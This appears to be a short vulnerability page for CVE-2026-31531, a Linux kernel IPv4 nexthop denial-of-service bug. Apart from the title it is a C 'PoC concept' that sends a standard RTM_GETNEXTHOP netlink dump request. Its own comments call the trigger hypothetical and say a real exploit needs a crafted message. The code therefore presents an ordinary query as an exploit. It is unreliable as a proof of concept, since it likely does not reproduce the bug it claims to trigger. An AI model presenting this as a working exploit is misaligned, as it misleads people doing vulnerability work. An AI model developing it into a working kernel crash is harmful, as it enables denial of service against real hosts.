CVE-2026-31531: Linux内核ipv4下一跳DoS漏洞

#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <arpa/inet.h> // PoC Concept: This code attempts to trigger the warning by querying/creating a large nexthop group. // Note: Standard iproute2 limits group size preventing reproduction via standard tools. // This requires a custom Netlink implementation to bypass iproute2 checks. #define BUFFER_SIZE 4096 int main() { int sock_fd; struct sockaddr_nl sa; char buffer[BUFFER_SIZE]; struct nlmsghdr *nlh; struct rtgenmsg *rt; // Create Netlink Socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock_fd < 0) { perror("socket"); return -1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(sock_fd, (struct sockaddr*)&sa, sizeof(sa)); // Construct a message to query a large nexthop group (Hypothetical Trigger) // In a real exploit, we would craft a specific RTM_GETNEXTHOP message targeting a large ID // or construct a large group if the creation path allows it. memset(buffer, 0, BUFFER_SIZE); nlh = (struct nlmsghdr *)buffer; nlh->nlmsg_type = RTM_GETNEXTHOP; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct rtgenmsg)); rt = (struct rtgenmsg *)NLMSG_DATA(nlh); rt->rtgen_family = AF_INET; sendto(sock_fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr*)&sa, sizeof(sa)); printf("Trigger packet sent. Check dmesg for warnings."); close(sock_fd); return 0; }